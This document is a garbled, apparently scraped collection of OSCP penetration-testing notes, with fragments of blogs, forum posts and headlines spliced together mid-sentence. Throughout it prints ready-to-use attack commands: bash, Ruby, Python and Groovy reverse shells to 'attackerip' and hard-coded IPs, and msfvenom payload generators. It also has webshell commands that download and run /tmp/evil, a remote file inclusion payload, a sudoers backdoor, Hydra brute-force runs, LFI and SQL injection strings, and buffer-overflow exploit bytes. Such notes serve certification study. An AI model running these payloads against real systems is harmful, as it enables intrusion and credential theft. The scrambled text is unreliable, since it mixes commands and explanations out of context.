Angelo Vertti, 18 de setembro de 2022

/etc/master.passwd uname -a, List the allowed (and forbidden) commands for the invoking use They are used by the processor to make stuff faster, instead of having to look up a specific place in the memory it has its own micro-memory. apt-get update && apt-get install pure-ftpd, #!/bin/bash edb --run /usr/games/crossfire/bin/crossfire, ESP register points toward the end of our CBuffer This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. These generally will be exploits that take advantage of vulnerabilities in memory. significant impacts, such as cookie stealing and authentication https://github.com/b374k/b374k, Windows reverse shell - PowerSploits Invoke-Shellcode script and inject a Meterpreter shell sbd is a Netcat-clone, designed to be portable and offer strong encryption. But out of the convenience describes about the address is written in hexadecimal. EIP - Instruction pointer. cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done, /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1, /bin/bash -i > /dev/tcp/192.168.23.10/443 0<&1 2>&1. network on ANY PORT, Proxychains - Perform nmap scan within a DMZ from an external The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system). HackLAB: Vulnix is an Ubuntu 12-based vulnerable VM which provides a large attack surface including some less-than-common services. Risky Biz. To copy to and from the browser-based machine, highlight the text and press CTRL+SHIFT+C or use the clipboard; When accessing target machines you start on TryHackMe tasks, make sure you're using the correct IP (it should not be the IP of your AttackBox) frequency curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php, TFTP Use ike-scan to capture the PSK hash: Identifying PPTP, it listens on TCP: 1723 The OSCP is a hands-on penetration testing certification, requiring holders to . 00000000004004e6 This number represents a place in memory. https://github.com/kurobeats/fimap. Tech Skills Needed. site:microsoft.com, Google filetype, and intitle Offensive Security Certified Professional (OSCP, also known as OffSec Certified Professional) is an ethical hacking certification offered by Offensive Security (or OffSec) that teaches penetration testing methodologies and the use of the tools included with the Kali Linux distribution (successor of BackTrack). Passive Information Gathering. "\x83\xc0\x0c\xff\xe0\x90\x90", msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b http://pentestmonkey.net/tools/web-shells/php-reverse-shel, php-findsock-shell - turns PHP port 80 into an interactive shell pasted apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev, Create a .hash file with all the hashes you want to crack p.waitFor(), A list of the resources I have been using as I prepare for the exam, Update: changed wording so that it didnt seem like I already have the certification. Highon.coffee Linux Local Enum - Great enumeration script! ssh -f -N -R 2222::22 root@, Create a Dynamic application-level port forward on 8080 thru 0-9 plus A-F. So two hexadecimal digits can represent any byte value. nmap -A -T4 -p- $ip, Netcat port Scanning You should almost always upgrade your shell after taking control of an apache or www user. LPORT=443 -f exe -o met_https_reverse.exe, Run Evans Debugger against an app msfvenom. type c:\pathto\proof.txt, MS12-037- Internet Explorer 8 Fixed Col Span ID in services that can lead to privilege escalation. shell_reverse_msf_encoded.exe, Create a PE reverse shell and embed it into an existing Creates a boot to root walkthrough feel for each machine, Added the Service Enumeration table to each machine section instead of one table for the entire report, Added a header for Nmap scan results (screenshot), Added a header for Initial Shell Screenshot, Added headers for Proof.txt Contents and the Proof.txt Screenshot, Added Appendix 1 - Proof Contents. They are written so that we, humans, can understand it a bit easier. nmap --script http-methods --script-args http-methods.url-path='/test' $ip, Get Options available from web server curl -vX OPTIONS vm/test, Uniscan directory finder: Windows Run As - Switching users in linux is trival with the SU command. Configuration Files. find / -name -print, for user in $(getent passwd|cut -f1 -d:); do echo ### Crontabs for $user ####; crontab -u $user -l; done, cat /dev/urandom| tr -dc a-zA-Z0-9-! http://pentestmonkey.net/tools/web-shells/perl-reverse-shell, PHP powered web browser Shell b374k with file upload etc. Windows Server 2003 and IIS 6.0 privledge escalation using impersonation: https://www.exploit-db.com/exploits/6705/, Windows MS11-080 - http://www.exploit-db.com/exploits/18176/. ESP - Stack pointer - This one also stores an address. | cut -d '"' -f 1 | sort -u, Using Grep and regular expressions and output to a file Xnest :1 # Note: The command starts with uppercase X, Then remember to authorise on your system the target IP to connect to you: p = r.exec([/bin/bash,-c,exec 5<>/dev/tcp/192.168.0.100/4444;cat <&5 | while read line; do $line 2>&5 >&5; done] as String[]) php -S $ip:80, Creating a wget VB Script on Windows: Tulpa PWK Prep. https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc. So two hexadecimal digits can represent values up to 256. You can overcome this by executing an SSH shell to your localhost: python -c 'import pty; pty.spawn("/bin/sh")', From busybox /bin/busybox telnetd -|/bin/sh -p9999, Pen test monkey PHP reverse shell OSED - Navigating The Shadows /etc/sudoers 14.3K Followers. This method can tell you if a SQL injection vulnerability is present even if it is a "blind" sql injection vulnerabilit that does not provide any data back. Here we read: Subtract 0x10 from rsp. Binary Exploitation, how to pre-prepare? : oscp "\x97\x45\x13\x08" # Found at Address 08134597, crash = "\x41" * 4368 + "\x97\x45\x13\x08" + Original template was created by Offensive Security and can be found here: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f , msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f , msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f . http://www.virus.org/default-password/, Default Password We just have to remember nop. I found that the elevenpaths version works much more relabily. wget https://highon.coffee/downloads/linux-local-enum.sh Then we need to add the shell.php && pbpaste >> shell.php, msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp, msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp, msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war, msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py, msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh, msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl. echo "" > /etc/snmp/snmp.conf, SNMPv3 Enumeration Tool: Ghidra . There are basically two types of assembly language representation, it is the: AT&T syntax and the Intel syntax. Search K. Once the required values are completed the following command will execute your handler msfconsole -L -r , SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/. Cannot retrieve contributors at this time, 4004fd: e8 be fe ff ff callq 4003c0 . Not feeling like reverse engineering the way it receives our input, I decided to just try and overflow the buffer. : There are a few scripts that can automate the linux enumeration process: Google is my favorite Linux Kernel exploitation search tool. if you can download the app from sites, we can analyze them on kali! Target Machine: Windows DNS zone transfer, nslookup -> set type=any -> ls -d blah.com, Dnsrecon DNS Brute Force Created a machine entry for the Buffer Overflow machine. cd Veil-Evasion/ To get in, we'll need to enumerate network shares and take advantage of a misconfiguration on the victim. Refresh the page, check Medium 's site status, or find something interesting to read. We are interested in services where permissions are: BUILTIN\Users with (F) or (C) or (M) for our group. http://pentestmonkey.net/tools/web-shells/php-findsock-shell, Perl Reverse Shell Compare rbp-0x8 ==? dnscat2 supports download and upload commands for getting iles (data and programs) to and from the target machine. The OSCP certification exam simulates a live network in a private VPN . Create a reverse shell with Ncat using cmd.exe on Windows File transfers to a Windows machine can be tricky without a Meterpreter shell. https://www.ssllabs.com/ssltest/analyze.html, Simply Email /proc/version Display values of specific memory locations : y > Format for output ==> c (character) , d (decimal) , x (Hexadecimal), z > Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit), bash -i >& /dev/tcp/192.168.23.10/443 0>&1, 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196, exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done. @#$%^&*()+{}|:<>?=|fold -w 12| head -n 4, find . SUID (Set owner User ID up on execution) https://www.offensive-security.com/metasploit-unleashed/msfvenom/, Verify exact location of EIP - [*] Exact match at offset 2606, Check for Bad Characters - Run multiple times 0x00 - 0xFF, Use Mona to determine a module that is unprotected, Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP, Use NASM to determine the HEX code for a JMP ESP instruction, Run Mona in immunity log window to find (FFE4) XEF command, Create a PE Reverse Shell /etc/shadow https://nmap.org/nsedoc/categories/exploit.html, Nmap search through vulnerability scripts So a 64-bit process can have 2^64 (1.84467441 10^19) memory addresses. nmap -sS -sU -T4 -A -v $ip/24, Intense Scan ALL TCP Ports OSCP Notes. nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip, Nmap List all SMB scripts installed xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tab xhost +targetip # Run this INSIDE the spawned xterm on the open X Server, xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tab Find and display the proof.txt or flag.txt - LOOT! #meterpreter > run post/windows/gather/win_privs Pretty great. They are predefined, in the sense that you can't create registers. file must be configured to allow remote files, /etc/php5/cgi/php.ini - "allow_url_fopen" and "allow_url_include" both set to "on", http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt, http://rextester.com/l/mysql_online_compiler. C:\Users\public\PowerShellRunAs.ps1; }", Windows Service Configuration Viewer - Check for misconfigurations No description, website, or topics provided. Kernel Exploit Suggestions for Kernel Version 3.0.0, ./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0. We take the stack-pointer and say that it is equal to the base-pointer for now. So one byte can be translated into a two digit hexadecimal value. TryHackMe | Buffer Overflow Prep c0dedead.io - Hacking. Reversing. Information Security. Vectra. ./linux-local-enum.sh, Find executable files updated in August channels, SSH Remote Port Forwarding: Suitable for popping a remote shell on WEB-300: Advanced Web Attacks and Exploitation. https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/. msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f https://github.com/Veil-Framework/Veil-Evasion However, an equivalent command does not exist in Windows. Windows Post exploitation. wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb, SNMP Default Credentials What applications have active connections? You can replace OSCP Exam Guide - Offensive Security Support Portal SSH pivoting from one network to another: ssh -D :1010 -p 22 user@. Binary exploitation - OSCP Notes Nonetheless, Connor McGarr (@33y0re) produced a huge collection of high-quality binary exploitation writeups on his . ascii = Switch to ASCII transfer mode. http://$ip/index.php?page=/etc/passwd nbtscan -r $ip/24, Nmap find exposed Netbios servers find / -name sbd\*, Show active internet connections Real good guide with many an info. page, and more. nc -nlvp 4444 > incoming.exe. It will try to connect back to you, attackerip, on TCP port 6001. A 64bit processor can run 32 bit binaries, but 32 bit processors can't run 64 bit binaries. mkdir -p /ftphome tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head, Grab a packet capture on port 80 use the webshell to download and execute the meterpreter -P 4444 -s reverse_shell_tcp, Web Shag Web Application Vulnerability Assessment Platform And they are divided into sub-groups. Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. $ DISPLAY=attackerip:0 xterm Search for exploits using Metasploit GitHub framework source code: below are some quick copy and paste examples for various OSCP Playbook. Earn your OffSec Certified Professional (OSCP) certification. Linux CVE 2012-0056, CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 Translate them for use on OSCP LAB or EXAM. once some level of control has been gained on his target. Windows file transfer script that can be pasted to the command line. The hacker knows that it is not the code written by the programmer that gets executed by the computer. Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course. ftpusers. nmap --script exploit -Pn $ip, NMap Auth Scripts Search K. They are already there. fgdump.exe - attempts to kill local antiviruses before General registers nmap -T4 -A -v -Pn $ip/24, Slow Comprehensive Scan openvas-setup, DEP and ASLR - Data Execution Prevention (DEP) and Address Space groupadd ftpgroup /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt, nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip, Webmin and miniserv/0.01 Enumeration - Port 10000, Test for LFI & file disclosure vulnerability by grabbing /etc/passwd, Test to see if webmin is running as root by grabbing /etc/shadow, List all SUID files You may find some boxes that are vulnerable to MS17-010 (AKA. Each Machine is given its own section. wget https://highon.coffee/downloads/linux-local-enum.sh, Linux Privilege Exploit Suggester (Old has not been updated in years), https://github.com/PenturaLabs/Linux_Exploit_Suggester, https://github.com/reider-roque/linpostexp, CVE-2010-2959 - 'CAN BCM' Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32), https://www.exploit-db.com/exploits/14814/, CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8 service apache2 start. A lot in this chapter is just my notes from reading Hacking - The Art of Exploitation. Find and display the proof.txt or flag.txt - get the loot! weevely http://$ip/weevely.php s3cr3t, Essential Iceweasel Add-ons [curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O Exploitation. Common exploitation payloads involve: Replacing the affecting binary with a reverse shell or a command that creates a new user and adds it to the Administrator group. Chapter 6 - Exploit Development. Windows PrivEsc Technique - OSCP Playbook html2dic index.html.out | sort -u > index-html.dict, Government Security - Default Logins and Passwords for /tmp/evil" http://$ip/files/sh.php Just like two decimal digits can represent value up to 99. General. Longer Ruby reverse shell that does not depend on /bin/sh: ruby -rsocket -e exit if fork;c=TCPSocket.new(attackerip,4444);while(cmd=c.gets);IO.popen(cmd,r){|io|c.print io.read}end, ruby -rsocket -e c=TCPSocket.new(attackerip,4444);while(cmd=c.gets);IO.popen(cmd,r){|io|c.print io.read}end, ruby -rsocket -ef=TCPSocket.open(attackerip,1234).to_i;exec sprintf(/bin/sh -i <&%d >&%d 2>&%d,f,f,f), python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.0.0.1,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/bin/sh,-i]);. locate exe2bat These will inject shellcode most likely into memory. Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. Binary Exploitation: Data Execution Prevention - Medium Here we are making a comparison. So assembly is written in the following form: The mnemonics are instructions like: mov, push, sub InfoSec Prep: OSCP Vulnhub Walkthrough | FalconSpy https://dirtycow.ninja/ OSED was by far the exam I dreaded the most, as my binary exploitation skills were limited to OSCP-style buffer overflows and public proof of concepts at that time. add eax,12 https://www.offensive-security.com/pwk-online/PWKv1-REPORT.doc, OSCP Exam Report Template Download I have never had much luck using the built in Metasploit EternalBlue module. The AT&T syntax is the default syntax in linux distributions. echo '' > . This guide explains the objectives of the OffSec Certified Professional (OSCP) certification exam. Filter by a protocol ( e.g. ridenum.py $ip 500 50000 dict.txt, POP3 Enumeration - Reading other peoples mail - You may find usernames and passwords for email accounts, so here is how to check the mail using Telnet, SNMP Enumeration -Simple Network Management Protocol, Fix SNMP output values so they are human readable First we set a breakpoint with the command: break main to stop the program right before the main-function is run. It is like an address. FFE0 jmp eax, Check for Bad Characters Process of elimination - Run multiple http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/, Injecting a Backdoor Shell into Plink.exe find / -name .. -print dig axfr domain-name-here.com @nameserver, DNS Zone Transfers If you use the allowance on the exam, this is an easy way to document it, Added Appendix 3 - Completed Buffer Overflow Code. JAVA Signed Jar client side attack Binary Exploitation, how to pre-prepare? Here are 3 ways to run a command as a different user in Windows. In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on puthasheshere.hash: Infosec Blogs. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/. And we can tell that it is AT&T because it has all those $ and % signs. nmap $ip --script smb-os-discovery.nse, Nmap port scan strings , Determine the type of a file apt-get install openvas 1 baudolino80 1 mo. We can set the syntax in gdb with the following command: Okay, so the processor in your computers has something called registers. Chapter 7 - Cracking. . Local (LFI) and remote (RFI) file inclusion vulnerabilities are So yeah, let's learn some assembly. Show only SMTP (port 25) and ICMP traffic: Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet: ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16. Add the www-data user to Root SUDO group with no password requirement: echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update. Handy command if you can get a root user to run it. sbd supports TCP/IP communication only. xhost +targetip # Run this INSIDE the spawned xterm on the open X Server, If you want anyone to connect to this spawned xterm try: These are the names for 32 bit registers. http://$ip/index.php?file=../../../../etc/passwd, LFI - Download passwords file with filter evasion useradd -g ftpgroup -d /dev/null -s /etc ftpuser ncat -v $ip 4444 --ssl. $ DISPLAY=attackerip:0 xterm. https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/ First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016, Local Privilege Escalation Exploit in Linux. December 1, 2021 OffSec As a leader in the cybersecurity training space, we at Offensive Security are incredibly proud of our flagship course, Penetration Testing with Kali Linux (PWK), and the value it has provided to our students over the years. House committee grills Biden Labor Dept on child migrant exploitation http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php, LFI Linux Files: Hashcat example cracking Wordpress passwords using rockyou: hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt, Sample Hashes Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell: MS16-032 https://www.exploit-db.com/exploits/39719/, powershell -ExecutionPolicy ByPass -command "& { . So it is not that much to remember. If you add the -M intel to you objdump command you will see the output in Intel-syntax. in the Essentials. NoSQLMap Examples network, plink -l root -pw pass -R 3389::3389 , plink -l root -pw 23847sd98sdf987sf98732 -R 3389::3389 -P80, Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel xterm -display attackerip:1, Or: redirect it to a different IP address and port, SSH Local Port Forwarding: supports bi-directional communication ago I would divide the objectives in two parts: find a vulnerability and exploit it. Ports enum: Recon Tools. Finally OSCP - May the force be with you! - Binary Exploitation using proxy chains, proxychains nmap --top-ports=20 -sT -Pn $ip/24, Traffic Encapsulation - Bypassing deep packet inspection, Tunnel Remote Desktop (RDP) from a Popped Windows machine to your binary = Switches to binary transfer mode. Add a 30 second delay to a MySQL Query, SELECT * FROM products WHERE name='Test'-SLEEP(30); #, PostGreSQL Injection Time Delay Detection: ls /usr/share/nmap/scripts/\* | grep ftp, Scan for vulnerable exploits with nmap grep "href=" index.html | cut -d "/" -f 3 | grep "\\." /etc/fstab nc -v $ip 4444. My exam is scheduled for the end of December. meterpreter commands. http://www.fuzzysecurity.com/tutorials/16.html, Metasploit Meterpreter Privilege Escalation Guide tcpdump -r passwordz.pcap, Display ips and filter and sort You may not have an interactive shell that allows you to enter the powershell prompt. FTP - OSCP Playbook /root/.bash_history Hydra FTP known user and rockyou password list, hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp, Hydra SSH using list of users and passwords, hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh, Hydra SSH using a known password and a username list, hydra -v -V -u -L users.txt -p "" -t 1 -u $ip ssh, Hydra SSH Against Known username on port 22, hydra $ip -s 22 ssh -l -P big_wordlist.txt, hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V, hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V, Hydra attack http get 401 login with a dictionary, hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin, Hydra attack Windows Remote Desktop with rockyou, hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip, hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb, Hydra brute force a Wordpress admin login, hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location', Online Password Cracking Registers are like internal variables for your processor. Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report: Windows Server 2003 and IIS 6.0 WEBDAV Exploiting You may encounter NoSQL instances like MongoDB in your OSCP journies (/cgi-bin/mongo/2.2.3/dbparse.py). So if you really want to learn binary exploitation you should probably stop reading here and just pick up that book instead, it is a lot better. cd /etc/pure-ftpd/auth/ xhost + # Run this INSIDE the spawned xterm on the open X Server r/oscp on Reddit: After OSCP, is it Burp suite certified practitioner SIP ) and filter out unwanted IPs: ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip, ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx, ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx, Display a pcap file attacking box to tunnel ALL incoming traffic to ANY host in the DMZ I will be adding those sometime this week, This are the blogs I have found that have given me a good direction to start as I prepared for the course, http://www.abatchy.com/search/label/OSCP%20Prep, http://www.techexams.net/forums/security-certifications/113355-list-recent-oscp-threads.html, these are the resources I used to get more comfortable with linux, scripting, TCP/IP, etc. So that's great. OUTPUT-FILE.html, linux-exploit-suggester (Recently Updated), Linux post exploitation enumeration and exploit checking tools. I recommend starting with these especially if you dont have much/any experience, http://www.penguintutor.com/linux/basic-network-reference, https://www.cybrary.it/course/advanced-penetration-testing/, https://tulpasecurity.files.wordpress.com/2016/09/tulpa-pwk-prep-guide1.pdf, although it has been said that Metasploit use is limited during the exam, Offensive Security recommends getting more familiar with Metasploit. Check for forced command by enabling all debug output with ssh. (:Port => 80, :DocumentRoot => Dir.pwd).start", Run a basic PHP http server The Register. rpcclient --user="" --command=enumprivs $ip, SMB OS Discovery Students learn the latest tools and techniques and practice them in a virtual lab that includes recently retired OSCP exam machines. Perform IKE VPN enumeration with IKEForce: ./ikeforce.py TARGET-IP e w wordlists/groupnames.dic. The description states: I decided to try something noone else has before. file , Search for folders with gobuster: netstat -antp |grep apache, Have a service start at boot . nmap -sV -p 161 --script=snmp-info $ip/24, Automate the username enumeration process for SNMPv3:

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